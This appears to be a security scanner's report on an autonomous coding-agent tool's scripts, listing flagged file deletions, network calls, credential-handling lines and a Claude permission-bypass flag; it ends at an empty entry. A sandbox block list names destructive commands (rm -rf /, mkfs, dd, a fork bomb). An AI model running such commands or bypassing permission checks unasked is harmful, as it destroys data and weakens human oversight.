  • Dangerous shell operationline 1720
    rm -f "$preview_stage"
  • Dangerous shell operationline 1725
    rm -f "$preview_stage"
  • Dangerous shell operationline 1729
    rm -f "$preview_stage"

autonomy/receipt_jwt.py

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    and for a LOCAL build that is the whole story: the operator already has the keyring. It does not survive the remote path. A submitter who ran `loki start --remote https://loki.corp` never had local access to the cluster,
  • Network accessline 7
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Network accessline 8
    `loki start --remote https://loki.corp` never had local access to the cluster,
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]

autonomy/route.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 87
    # Echoes the canonical https://github.com/owner/repo/pull/N for a github.com pull request URL
  • Network accessline 90
    _route_pr_url() {     local re='^[Hh][Tt][Tt][Pp][Ss]?://([Ww][Ww][Ww]\.)?[Gg][Ii][Tt][Hh][Uu][Bb]\.[Cc][Oo][Mm]/([A-Za-z0-9][A-Za-z0-9_.-]*/[A-Za-z0-9][A-Za-z0-9_.-]*)/pull/([0-9]+)([/?#].*)?$'     if [[ "$1" =~ $re ]]; then printf 'https:
  • Network accessline 91
    local re='^[Hh][Tt][Tt][Pp][Ss]?://([Ww][Ww][Ww]\.)?[Gg][Ii][Tt][Hh][Uu][Bb]\.[Cc][Oo][Mm]/([A-Za-z0-9][A-Za-z0-9_.-]*/[A-Za-z0-9][A-Za-z0-9_.-]*)/pull/([0-9]+)([/?#].*)?$'     if [[ "$1" =~ $re ]]; then printf 'https://github.com/%s/pull/%
  • Network accessline 92
    if [[ "$1" =~ $re ]]; then printf 'https://github.com/%s/pull/%s' "${BASH_REMATCH[2]}" "${BASH_REMATCH[3]}"; fi
  • Network accessline 117
    if [ -n "$u" ]; then case "${u#https://github.com/}" in *..*) [ -n "$badref" ] || badref="$a" ;; esac; fi
  • Network accessline 140
    if [ -n "$(_route_pr_url "$p")" ]; then echo pr; return 0; fi     case "$p" in         */*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) echo issue; return 0 ;;
  • Network accessline 141
    case "$p" in         */*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) echo issue; return 0 ;;     esac
  • Network accessline 142
    */*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) echo issue; return 0 ;;

autonomy/run.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 55
    #   LOKI_BLOCKED_COMMANDS   - Comma-separated blocked shell commands (default: rm -rf /)
  • Network accessline 56
    # # OIDC / SSO Authentication (optional, works alongside token auth): #   LOKI_OIDC_ISSUER        - OIDC issuer URL (e.g., https://accounts.google.com)
  • Network accessline 57
    # OIDC / SSO Authentication (optional, works alongside token auth): #   LOKI_OIDC_ISSUER        - OIDC issuer URL (e.g., https://accounts.google.com) #   LOKI_OIDC_CLIENT_ID     - OIDC client/application ID
  • Network accessline 58
    #   LOKI_OIDC_ISSUER        - OIDC issuer URL (e.g., https://accounts.google.com)
  • Dangerous shell operationline 225
    trap 'rm -f "$TEMP_SCRIPT"' EXIT
  • Dangerous shell operationline 246
    _qd="$(cd "$(dirname "$1")" && pwd -P)"; rm -f "$_qd/quick-receipt.txt"
  • Dangerous shell operationline 289
    trap 'rm -f "${LOKI_TEMP_SCRIPT_PATH}" 2>/dev/null' EXIT
  • Access to secretsline 436
    [Credential-related source omitted]
  • Dangerous shell operationline 496
    eval "$(_LOKI_SETTINGS_FILE="$settings_file" python3 -c "
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 908
    [Credential-related source omitted]
  • Access to secretsline 910
    [Credential-related source omitted]
  • Dangerous shell operationline 1103
    rm -f "$input_file" 2>/dev/null || true
  • Dangerous shell operationline 1107
    rm -f "$input_file" 2>/dev/null || true
  • Dangerous shell operationline 1111
    rm -f "$input_file" 2>/dev/null || true
  • Dangerous shell operationline 1132
    rm -f "$snapshot_index" "$snapshot_index.lock" 2>/dev/null || true
  • Access to secretsline 1242
    [Credential-related source omitted]
  • Access to secretsline 1246
    [Credential-related source omitted]
  • Access to secretsline 1255
    [Credential-related source omitted]
  • Access to secretsline 1256
    [Credential-related source omitted]
  • Access to secretsline 1257
    [Credential-related source omitted]
  • Access to secretsline 1281
    [Credential-related source omitted]
  • Access to secretsline 1282
    [Credential-related source omitted]
  • Access to secretsline 1286
    [Credential-related source omitted]
  • Access to secretsline 1287
    [Credential-related source omitted]
  • Access to secretsline 1715
    [Credential-related source omitted]
  • Access to secretsline 1718
    [Credential-related source omitted]
  • Access to secretsline 1724
    [Credential-related source omitted]
  • Access to secretsline 1725
    [Credential-related source omitted]
  • Access to secretsline 1726
    [Credential-related source omitted]
  • Access to secretsline 1767
    [Credential-related source omitted]
  • Access to secretsline 1770
    [Credential-related source omitted]
  • Access to secretsline 1778
    [Credential-related source omitted]
  • Dangerous shell operationline 1822
    rm -f "$_shared_pidfile" 2>/dev/null || true
  • Instruction override signalline 1903
    PROVIDER_NAME="claude"     PROVIDER_CLI="claude"     PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions"
  • Instruction override signalline 1904
    PROVIDER_CLI="claude"     PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions"     PROVIDER_PROMPT_FLAG="-p"
  • Instruction override signalline 1905
    PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions"
  • Dangerous shell operationline 2041
    git -C "$td" branch -d "$branch" >/dev/null 2>&1 && rm -f "$br_file" 2>/dev/null
  • Access to secretsline 2073
    [Credential-related source omitted]
  • Access to secretsline 2074
    [Credential-related source omitted]
  • Access to secretsline 2075
    [Credential-related source omitted]
  • Access to secretsline 2078
    [Credential-related source omitted]
  • Access to secretsline 2103
    [Credential-related source omitted]
  • Access to secretsline 2104
    [Credential-related source omitted]
  • Access to secretsline 2187
    [Credential-related source omitted]
  • Dangerous shell operationline 2206
    rm -f "$src" 2>/dev/null || true
  • Access to secretsline 2235
    [Credential-related source omitted]
  • Access to secretsline 2269
    [Credential-related source omitted]
  • Access to secretsline 2274
    [Credential-related source omitted]
  • Access to secretsline 2275
    [Credential-related source omitted]
  • Dangerous shell operationline 2466
    rm -f "$PID_REGISTRY_DIR/${pid}.json" 2>/dev/null
  • Dangerous shell operationline 2643
    rm -f "$entry_file" 2>/dev/null
  • Access to secretsline 2908
    [Credential-related source omitted]
  • Access to secretsline 2917
    [Credential-related source omitted]
  • Access to secretsline 2918
    [Credential-related source omitted]
  • Access to secretsline 2919
    [Credential-related source omitted]
  • Access to secretsline 2920
    [Credential-related source omitted]
  • Dangerous shell operationline 3147
    rm -f "$_reject_sig" "$_approve_sig" 2>/dev/null || true
  • Dangerous shell operationline 3155
    rm -f "$_approve_sig" 2>/dev/null || true
  • Network accessline 3241
    if [ -n "$major" ] && [[ "$major" =~ ^[0-9]+$ ]] && [ "$major" -lt 18 ]; then         log_warn "Node.js >= 18 recommended for node-based builds; found ${node_version:-unknown}. Upgrade if your project uses node: https://nodejs.org"
  • Network accessline 3242
    log_warn "Node.js >= 18 recommended for node-based builds; found ${node_version:-unknown}. Upgrade if your project uses node: https://nodejs.org"
  • Network accessline 3248
    _loki_check_git_present() {     if ! command -v git >/dev/null 2>&1; then         log_error "Git is required (the build initializes a repo). Install: https://git-scm.com/downloads"
  • Network accessline 3249
    if ! command -v git >/dev/null 2>&1; then         log_error "Git is required (the build initializes a repo). Install: https://git-scm.com/downloads"         return 1
  • Network accessline 3250
    log_error "Git is required (the build initializes a repo). Install: https://git-scm.com/downloads"
  • Access to secretsline 3261
    [Credential-related source omitted]
  • Access to secretsline 3268
    [Credential-related source omitted]
  • Access to secretsline 3269
    [Credential-related source omitted]
  • Access to secretsline 3289
    [Credential-related source omitted]
  • Access to secretsline 3314
    [Credential-related source omitted]
  • Access to secretsline 3315
    [Credential-related source omitted]
  • Access to secretsline 3316
    [Credential-related source omitted]
  • Access to secretsline 3318
    [Credential-related source omitted]
  • Access to secretsline 3340
    [Credential-related source omitted]
  • Access to secretsline 3341
    [Credential-related source omitted]
  • Access to secretsline 3343
    [Credential-related source omitted]
  • Access to secretsline 3346
    [Credential-related source omitted]
  • Access to secretsline 3351
    [Credential-related source omitted]
  • Access to secretsline 3358
    [Credential-related source omitted]
  • Access to secretsline 3360
    [Credential-related source omitted]
  • Dangerous shell operationline 3389
    rm -f "$probe" 2>/dev/null || true
  • Dangerous shell operationline 3393
    rm -f "$probe" 2>/dev/null || true
  • Network accessline 3397
    # _loki_check_network_reachable: ADVISORY only. A fast (3s) reachability probe to # the active provider endpoint that WARNS and continues if it cannot reach it -- a # curl failure does not prove the provider CLI cannot connect (3s timeout u
  • Network accessline 3398
    # the active provider endpoint that WARNS and continues if it cannot reach it -- a # curl failure does not prove the provider CLI cannot connect (3s timeout under # load, transient DNS, or a proxy set for the CLI but not the shell all curl-
  • Network accessline 3399
    # curl failure does not prove the provider CLI cannot connect (3s timeout under
  • Network accessline 3401
    # while the real build succeeds). Always returns 0 (fail-open); the actual # provider call is the authoritative connectivity test. Skipped entirely when curl # is missing, when LOKI_SKIP_NET_PREFLIGHT=1, when ANTHROPIC_BASE_URL is set (alt
  • Network accessline 3402
    # provider call is the authoritative connectivity test. Skipped entirely when curl # is missing, when LOKI_SKIP_NET_PREFLIGHT=1, when ANTHROPIC_BASE_URL is set (alt # provider endpoint we cannot assume), or for any provider whose endpoint w
  • Network accessline 3431
    local provider="${1:-claude}"     [ "${LOKI_SKIP_NET_PREFLIGHT:-}" = "1" ] && return 0     command -v curl >/dev/null 2>&1 || return 0
  • Network accessline 3433
    command -v curl >/dev/null 2>&1 || return 0
  • Network accessline 3437
    local endpoint=""     case "$provider" in         claude) endpoint="https://api.anthropic.com" ;;
  • Network accessline 3438
    case "$provider" in         claude) endpoint="https://api.anthropic.com" ;;         *)      return 0 ;;  # unknown endpoint -> fail open, never guess
  • Network accessline 3439
    claude) endpoint="https://api.anthropic.com" ;;
  • Network accessline 3443
    # Advisory only: a fast curl probe failing does NOT prove the provider CLI
  • Network accessline 3448
    if ! curl -sS -m 3 -o /dev/null "$endpoint" 2>/dev/null; then
  • Access to secretsline 3478
    [Credential-related source omitted]
  • Access to secretsline 3479
    [Credential-related source omitted]
  • Access to secretsline 3486
    [Credential-related source omitted]
  • Access to secretsline 3488
    [Credential-related source omitted]
  • Access to secretsline 3505
    [Credential-related source omitted]
  • Access to secretsline 3514
    [Credential-related source omitted]
  • Access to secretsline 3530
    [Credential-related source omitted]
  • Access to secretsline 3537
    [Credential-related source omitted]
  • Access to secretsline 3544
    [Credential-related source omitted]
  • Access to secretsline 3586
    [Credential-related source omitted]
  • Access to secretsline 3605
    [Credential-related source omitted]
  • Network accessline 3923
    # Extract owner/repo from various URL formats     # https://github.com/owner/repo.git
  • Network accessline 3924
    # https://github.com/owner/repo.git
  • Dangerous shell operationline 4008
    rm -f "$_tmp_normalize"
  • Dangerous shell operationline 4090
    rm -f "$temp_file"
  • Access to secretsline 4219
    [Credential-related source omitted]
  • Access to secretsline 4247
    [Credential-related source omitted]
  • Access to secretsline 4484
    [Credential-related source omitted]
  • Access to secretsline 4723
    [Credential-related source omitted]
  • Access to secretsline 4785
    [Credential-related source omitted]
  • Access to secretsline 4941
    [Credential-related source omitted]
  • Dangerous shell operationline 5083
    echo "    rm .loki/PAUSE        # resume this run"
  • Access to secretsline 5170
    [Credential-related source omitted]
  • Access to secretsline 5182
    [Credential-related source omitted]
  • Access to secretsline 5190
    [Credential-related source omitted]
  • Access to secretsline 5193
    [Credential-related source omitted]
  • Access to secretsline 5194
    [Credential-related source omitted]
  • Access to secretsline 5195
    [Credential-related source omitted]
  • Access to secretsline 5196
    [Credential-related source omitted]
  • Access to secretsline 5197
    [Credential-related source omitted]
  • Access to secretsline 5198
    [Credential-related source omitted]
  • Access to secretsline 5199
    [Credential-related source omitted]
  • Access to secretsline 5200
    [Credential-related source omitted]
  • Access to secretsline 5201
    [Credential-related source omitted]
  • Access to secretsline 5202
    [Credential-related source omitted]
  • Access to secretsline 5203
    [Credential-related source omitted]
  • Access to secretsline 5204
    [Credential-related source omitted]
  • Access to secretsline 5268
    [Credential-related source omitted]
  • Access to secretsline 5269
    [Credential-related source omitted]
  • Access to secretsline 5271
    [Credential-related source omitted]
  • Access to secretsline 5512
    [Credential-related source omitted]
  • Access to secretsline 5529
    [Credential-related source omitted]
  • Access to secretsline 5531
    [Credential-related source omitted]
  • Access to secretsline 5533
    [Credential-related source omitted]
  • Network accessline 5534
    #      does not stop the keyring lookup. #   2. git's own `credential.helper` (`gh auth setup-git` wires #      `credential.https://github.com.helper = !gh auth git-credential`, and a
  • Network accessline 5535
    #   2. git's own `credential.helper` (`gh auth setup-git` wires #      `credential.https://github.com.helper = !gh auth git-credential`, and a #      plain `osxkeychain`/`libsecret`/etc. helper may ALSO be configured,
  • Network accessline 5536
    #      `credential.https://github.com.helper = !gh auth git-credential`, and a
  • Access to secretsline 5542
    [Credential-related source omitted]
  • Access to secretsline 5553
    [Credential-related source omitted]
  • Access to secretsline 5555
    [Credential-related source omitted]
  • Access to secretsline 5557
    [Credential-related source omitted]
  • Access to secretsline 5564
    [Credential-related source omitted]
  • Access to secretsline 5584
    [Credential-related source omitted]
  • Access to secretsline 5603
    [Credential-related source omitted]
  • Access to secretsline 5604
    [Credential-related source omitted]
  • Access to secretsline 5625
    [Credential-related source omitted]
  • Access to secretsline 5650
    [Credential-related source omitted]
  • Dangerous shell operationline 5661
    [Credential-related source omitted]
  • Access to secretsline 5661
    [Credential-related source omitted]
  • Access to secretsline 5663
    [Credential-related source omitted]
  • Access to secretsline 5664
    [Credential-related source omitted]
  • Access to secretsline 5666
    [Credential-related source omitted]
  • Access to secretsline 5765
    [Credential-related source omitted]
  • Access to secretsline 5788
    [Credential-related source omitted]
  • Access to secretsline 5789
    [Credential-related source omitted]
  • Access to secretsline 5790
    [Credential-related source omitted]
  • Access to secretsline 5791
    [Credential-related source omitted]
  • Access to secretsline 5866
    [Credential-related source omitted]
  • Network accessline 5980
    # Echo OWNER/REPO for a github.com origin URL, else fail. Accepted forms: # https://github.com/O/R[.git][/], git@github.com:O/R[.git][/],
  • Network accessline 5981
    # https://github.com/O/R[.git][/], git@github.com:O/R[.git][/],
  • Network accessline 5988
    _lc="$(printf '%s' "$_u" | tr '[:upper:]' '[:lower:]')"     case "$_lc" in         https://github.com/*) _pre="https://github.com/" ;;
  • Network accessline 5989
    case "$_lc" in         https://github.com/*) _pre="https://github.com/" ;;         git@github.com:*) _pre="git@github.com:" ;;
  • Network accessline 5990
    https://github.com/*) _pre="https://github.com/" ;;
  • Access to secretsline 6013
    [Credential-related source omitted]
  • Network accessline 6060
    # repo's branch gets no upstream set (it did with `push -u`); nothing reads it. # Optional <dest> OWNER/REPO (engine10-push.sh fork mode): the pinned origin is # still validated, then the push goes to https://github.com/<dest>.git, a fork
  • Network accessline 6061
    # Optional <dest> OWNER/REPO (engine10-push.sh fork mode): the pinned origin is # still validated, then the push goes to https://github.com/<dest>.git, a fork # the push child resolved from gh and checked, never a value from the tree.
  • Network accessline 6062
    # still validated, then the push goes to https://github.com/<dest>.git, a fork
  • Network accessline 6089
    local _origin_url="$_url"     if [ -n "$_dest" ]; then         if ! _loki_github_repo_from_url "https://github.com/${_dest}.git" >/dev/null; then
  • Network accessline 6090
    if [ -n "$_dest" ]; then         if ! _loki_github_repo_from_url "https://github.com/${_dest}.git" >/dev/null; then             log_warn "Not pushing branch '$_branch': fork destination '$_dest' is not a plain OWNER/REPO."
  • Network accessline 6091
    if ! _loki_github_repo_from_url "https://github.com/${_dest}.git" >/dev/null; then
  • Network accessline 6093
    return 2         fi         _repo="$_dest" _url="https://github.com/${_dest}.git"
  • Network accessline 6094
    fi         _repo="$_dest" _url="https://github.com/${_dest}.git"     fi
  • Network accessline 6095
    _repo="$_dest" _url="https://github.com/${_dest}.git"
  • Dangerous shell operationline 6148
    rm -rf "$_tmp"
  • Access to secretsline 6162
    [Credential-related source omitted]
  • Access to secretsline 6173
    [Credential-related source omitted]
  • Access to secretsline 6176
    [Credential-related source omitted]
  • Access to secretsline 6177
    [Credential-related source omitted]
  • Access to secretsline 6389
    [Credential-related source omitted]
  • Access to secretsline 6392
    [Credential-related source omitted]
  • Access to secretsline 6395
    [Credential-related source omitted]
  • Access to secretsline 6398
    [Credential-related source omitted]
  • Access to secretsline 6399
    [Credential-related source omitted]
  • Dangerous shell operationline 6406
    rm -f "$plan_file"
  • Access to secretsline 6423
    [Credential-related source omitted]
  • Access to secretsline 6424
    [Credential-related source omitted]
  • Access to secretsline 6426
    [Credential-related source omitted]
  • Access to secretsline 6427
    [Credential-related source omitted]
  • Access to secretsline 6428
    [Credential-related source omitted]
  • Dangerous shell operationline 6433
    rm -f "$result_file"
  • Dangerous shell operationline 6449
    log_error "  macOS:  brew install bash && sudo chsh -s /opt/homebrew/bin/bash"
  • Dangerous shell operationline 6450
    log_error "  Ubuntu: sudo apt install bash"
  • Dangerous shell operationline 6476
    rm -rf "$wt/node_modules"
  • Dangerous shell operationline 6480
    rm -rf "$wt/node_modules"
  • Dangerous shell operationline 6486
    mv "$entry" "$aside" 2>/dev/null && rm -rf "$aside" 2>/dev/null
  • Dangerous shell operationline 6497
    rm -rf "$tmp"
  • Dangerous shell operationline 6500
    rm -rf "${entry:?}/${tmp##*/}" "$tmp" 2>/dev/null
  • Dangerous shell operationline 6505
    mv "$cache_root/$old" "$aside" 2>/dev/null && rm -rf "$aside"
  • Dangerous shell operationline 6508
    rm -rf "$tmp"
  • Dangerous shell operationline 6598
    git -C "$TARGET_DIR" worktree remove "$worktree_path" --force 2>/dev/null ||                  rm -rf "$worktree_path" 2>/dev/null || true
  • Dangerous shell operationline 6599
    rm -rf "$worktree_path" 2>/dev/null || true
  • Dangerous shell operationline 6629
    # Remove worktree (with safety check for rm -rf)
  • Dangerous shell operationline 6636
    rm -rf "$worktree_path" 2>/dev/null
  • Dangerous shell operationline 6638
    log_warn "Skipping unsafe rm -rf for path: $worktree_path"
  • Instruction override signalline 6856
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Dangerous shell operationline 6891
    rm -f "$_sig_tmp" 2>/dev/null
  • Dangerous shell operationline 6902
    rm -f "$_fail_tmp" 2>/dev/null
  • Dangerous shell operationline 6959
    rm -f "$signal_file"
  • Instruction override signalline 7086
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Access to secretsline 7132
    [Credential-related source omitted]
  • Access to secretsline 7133
    [Credential-related source omitted]
  • Dangerous shell operationline 7169
    rm -f "$TARGET_DIR/.loki/signals/MERGE_REQUESTED_$feature" \
  • Dangerous shell operationline 7308
    rm -f "$queued_signal"
  • Network accessline 7379
    case "$cli_name" in             claude)                 log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code"
  • Network accessline 7380
    claude)                 log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code"                 ;;
  • Network accessline 7381
    log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code"
  • Network accessline 7444
    # Check curl (for web fetches)
  • Network accessline 7445
    log_step "Checking curl..."     if command -v curl &> /dev/null; then
  • Network accessline 7446
    if command -v curl &> /dev/null; then
  • Network accessline 7448
    else         missing+=("curl")         log_error "curl not found"
  • Network accessline 7449
    missing+=("curl")         log_error "curl not found"     fi
  • Network accessline 7450
    log_error "curl not found"
  • Dangerous shell operationline 7553
    rm -f "$session_pid_file" 2>/dev/null
  • Dangerous shell operationline 7554
    rm -f "$lock_file" 2>/dev/null
  • Dangerous shell operationline 7555
    rm -rf "${lock_file}.lockdir" 2>/dev/null
  • Dangerous shell operationline 7576
    rm -f .loki/PAUSE .loki/STOP .loki/HUMAN_INPUT.md 2>/dev/null
  • Dangerous shell operationline 7577
    rm -f .loki/PAUSE_AT_CHECKPOINT .loki/PAUSED.md .loki/COMPLETED 2>/dev/null
  • Dangerous shell operationline 7578
    rm -f .loki/loki.pid 2>/dev/null
  • Dangerous shell operationline 7579
    rm -f .loki/session.lock 2>/dev/null
  • Dangerous shell operationline 7580
    rm -rf .loki/session.lock.lockdir 2>/dev/null
  • Dangerous shell operationline 7605
    # or read it: the only reference in the whole codebase was the rm -f below.
  • Dangerous shell operationline 7610
    rm -f .loki/metrics/efficiency/iteration-*.json 2>/dev/null || true
  • Dangerous shell operationline 7619
    rm -f .loki/state/last-proof-id.txt 2>/dev/null || true
  • Access to secretsline 7720
    [Credential-related source omitted]
  • Access to secretsline 7744
    [Credential-related source omitted]
  • Access to secretsline 7745
    [Credential-related source omitted]
  • Dangerous shell operationline 8093
    # suspenders. `|| rm -f "$_tmp_state" 2>/dev/null` cleans up the tmp
  • Dangerous shell operationline 8095
    mv "$_tmp_state" "$output_file" 2>/dev/null || rm -f "$_tmp_state" 2>/dev/null
  • Dangerous shell operationline 8482
    rm -f "$gitc_paths_file"
  • Dangerous shell operationline 8501
    rm -f "$gitc_paths_file" "$gitc_deleted_file"
  • Access to secretsline 8627
    [Credential-related source omitted]
  • Access to secretsline 8638
    [Credential-related source omitted]
  • Access to secretsline 8645
    [Credential-related source omitted]
  • Access to secretsline 8774
    [Credential-related source omitted]
  • Access to secretsline 8795
    [Credential-related source omitted]
  • Access to secretsline 8798
    [Credential-related source omitted]
  • Access to secretsline 8825
    [Credential-related source omitted]
  • Access to secretsline 8837
    [Credential-related source omitted]
  • Access to secretsline 8838
    [Credential-related source omitted]
  • Access to secretsline 8839
    [Credential-related source omitted]
  • Dangerous shell operationline 8843
    " > "$tmp" 2>/dev/null && mv -f "$tmp" "$loki_dir/state/prd-signature.json" 2>/dev/null || rm -f "$tmp" 2>/dev/null
  • Dangerous shell operationline 8873
    cp -f "$src" "$tmp_prd" 2>/dev/null || { rm -f "$tmp_prd" 2>/dev/null; echo ""; return 0; }
  • Dangerous shell operationline 8874
    mv -f "$tmp_prd" "$dest" 2>/dev/null || { rm -f "$tmp_prd" 2>/dev/null; echo ""; return 0; }
  • Access to secretsline 8893
    [Credential-related source omitted]
  • Access to secretsline 8896
    [Credential-related source omitted]
  • Access to secretsline 8897
    [Credential-related source omitted]
  • Access to secretsline 8898
    [Credential-related source omitted]
  • Access to secretsline 8900
    [Credential-related source omitted]
  • Dangerous shell operationline 8903
    " > "$sig_tmp" 2>/dev/null          && mv -f "$sig_tmp" "$loki_dir/state/prd-signature.json" 2>/dev/null          || rm -f "$sig_tmp" 2>/dev/null
  • Dangerous shell operationline 8905
    || rm -f "$sig_tmp" 2>/dev/null
  • Dangerous shell operationline 8962
    mv -f "${_id_file}.tmp" "$_id_file" 2>/dev/null || rm -f "${_id_file}.tmp" 2>/dev/null || true
  • Access to secretsline 9361
    [Credential-related source omitted]
  • Access to secretsline 9362
    [Credential-related source omitted]
  • Access to secretsline 9363
    [Credential-related source omitted]
  • Access to secretsline 9364
    [Credential-related source omitted]
  • Access to secretsline 9365
    [Credential-related source omitted]
  • Access to secretsline 9366
    [Credential-related source omitted]
  • Access to secretsline 9367
    [Credential-related source omitted]
  • Access to secretsline 9368
    [Credential-related source omitted]
  • Access to secretsline 9369
    [Credential-related source omitted]
  • Access to secretsline 9370
    [Credential-related source omitted]
  • Dangerous shell operationline 9520
    mv -f "$tmp_file" "$output_file" 2>/dev/null || rm -f "$tmp_file"
  • Access to secretsline 9782
    [Credential-related source omitted]
  • Access to secretsline 9785
    [Credential-related source omitted]
  • Dangerous shell operationline 9889
    rm -f "$_staged_paths"
  • Dangerous shell operationline 9899
    rm -f "$_staged_paths"
  • Dangerous shell operationline 10033
    rm -f .loki/state/preexisting-untracked.sha.z 2>/dev/null
  • Dangerous shell operationline 10037
    # snapshot (old code: `rm -f` here too) makes the receipt treat EVERY
  • Dangerous shell operationline 10047
    gittool="$(_loki_snapshot_git_tool)" &&              "$gittool" ls-files --others --exclude-standard -z > .loki/state/preexisting-untracked.z.tmp 2>/dev/null &&              mv .loki/state/preexisting-untracked.z.tmp .loki/state/preexisting
  • Dangerous shell operationline 10050
    || rm -f .loki/state/preexisting-untracked.z .loki/state/preexisting-untracked.z.tmp 2>/dev/null
  • Dangerous shell operationline 10067
    rm -f .loki/state/session-created.z 2>/dev/null
  • Dangerous shell operationline 10079
    rm -f .loki/state/tracked-since.sha .loki/state/turn-in-flight 2>/dev/null
  • Dangerous shell operationline 10105
    rm -f .loki/state/preexisting-untracked.failed 2>/dev/null
  • Dangerous shell operationline 10527
    rm -f .loki/state/session-created.z 2>/dev/null
  • Dangerous shell operationline 10558
    # commit`) that would otherwise skip its own rm -f cleanup and leave a
  • Dangerous shell operationline 10575
    rm -f "$path" 2>/dev/null
  • Dangerous shell operationline 10694
    rm -f "${snap%.z}.sha.z" 2>/dev/null
  • Dangerous shell operationline 10710
    rm -f "$tracked"
  • Dangerous shell operationline 10716
    rm -f "$tracked" "$snap.status" "$snap.tmp"
  • Dangerous shell operationline 10719
    rm -f "$tracked" "$snap.status"
  • Dangerous shell operationline 10814
    rm -f "${1}.filters"
  • Dangerous shell operationline 10831
    rm -f "$1"
  • Dangerous shell operationline 10937
    "$gittool" -C "$top" diff --name-only -z --no-renames --diff-filter=A "$anchor" HEAD > "$out.tmp" 2>/dev/null          || { rm -f "$out.tmp"; return 1; }
  • Dangerous shell operationline 10938
    || { rm -f "$out.tmp"; return 1; }
  • Dangerous shell operationline 10973
    rm -f .loki/state/tracked-since.sha.tmp 2>/dev/null
  • Dangerous shell operationline 10977
    rm -f .loki/state/turn-in-flight 2>/dev/null

autonomy/sandbox.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Dangerous shell operationline 188
    local _default_blocked='rm -rf /,dd if=,mkfs,:(){ :|:& };:'
  • Network accessline 205
    if command -v lsof &>/dev/null; then         ! lsof -i ":$port" &>/dev/null     elif command -v nc &>/dev/null; then
  • Network accessline 206
    ! lsof -i ":$port" &>/dev/null     elif command -v nc &>/dev/null; then         ! nc -z localhost "$port" 2>/dev/null
  • Network accessline 207
    elif command -v nc &>/dev/null; then
  • Network accessline 208
    ! nc -z localhost "$port" 2>/dev/null
  • Access to secretsline 237
    [Credential-related source omitted]
  • Access to secretsline 238
    [Credential-related source omitted]
  • Access to secretsline 242
    [Credential-related source omitted]
  • Access to secretsline 243
    [Credential-related source omitted]
  • Dangerous shell operationline 252
    docker rm -f "$CONTAINER_NAME" 2>/dev/null || true
  • Network accessline 259
    log_error "Docker not found. Install Docker to use sandbox mode."         log_error "  macOS: brew install --cask docker"         log_error "  Linux: curl -fsSL https://get.docker.com | sh"
  • Network accessline 260
    log_error "  macOS: brew install --cask docker"         log_error "  Linux: curl -fsSL https://get.docker.com | sh"         exit 1
  • Dangerous shell operationline 261
    log_error "  Linux: curl -fsSL https://get.docker.com | sh"
  • Network accessline 261
    log_error "  Linux: curl -fsSL https://get.docker.com | sh"
  • Dangerous shell operationline 469
    rm -f "$WORKTREE_STATE_FILE"
  • Dangerous shell operationline 529
    git worktree remove "$sandbox_path" --force 2>/dev/null || rm -rf "$sandbox_path" 2>/dev/null
  • Dangerous shell operationline 537
    rm -f "$WORKTREE_STATE_FILE"
  • Dangerous shell operationline 657
    rm -f "$WORKTREE_STATE_FILE" 2>/dev/null
  • Access to secretsline 669
    [Credential-related source omitted]
  • Access to secretsline 726
    [Credential-related source omitted]
  • Access to secretsline 727
    [Credential-related source omitted]
  • Access to secretsline 728
    [Credential-related source omitted]
  • Access to secretsline 730
    [Credential-related source omitted]
  • Access to secretsline 731
    [Credential-related source omitted]
  • Access to secretsline 732
    [Credential-related source omitted]
  • Access to secretsline 734
    [Credential-related source omitted]
  • Access to secretsline 735
    [Credential-related source omitted]
  • Access to secretsline 736
    [Credential-related source omitted]
  • Access to secretsline 738
    [Credential-related source omitted]
  • Access to secretsline 739
    [Credential-related source omitted]
  • Access to secretsline 742
    [Credential-related source omitted]
  • Access to secretsline 743
    [Credential-related source omitted]
  • Dangerous shell operationline 750
    # foreground/blocking "docker sandbox exec" (see start_docker_desktop_sandbox),
  • Dangerous shell operationline 769
    trap "rm -f -- '$_env_file'" EXIT
  • Dangerous shell operationline 772
    rm -f -- "$_env_file"
  • Dangerous shell operationline 870
    docker sandbox rm "$DESKTOP_SANDBOX_NAME" 2>/dev/null || true
  • Access to secretsline 1096
    [Credential-related source omitted]
  • Access to secretsline 1097
    [Credential-related source omitted]
  • Network accessline 1169
    c.sendall(b"HTTP/1.1 403 Forbidden\r\nContent-Length: 0\r\n\r\n")             return         up = socket.create_connection((info, port), timeout=20)
  • Network accessline 1170
    return         up = socket.create_connection((info, port), timeout=20)         if method.upper() == "CONNECT":
  • Network accessline 1171
    up = socket.create_connection((info, port), timeout=20)
  • Network accessline 1185
    def main():     s = socket.socket()
  • Network accessline 1186
    s = socket.socket()
  • Access to secretsline 1188
    [Credential-related source omitted]
  • Network accessline 1202
    _sandbox_egress_container_args() {     local net="$1" proxy="http://${CONTAINER_NAME}-egress:${EGRESS_PROXY_PORT}"
  • Network accessline 1203
    local net="$1" proxy="http://${CONTAINER_NAME}-egress:${EGRESS_PROXY_PORT}"
  • Dangerous shell operationline 1234
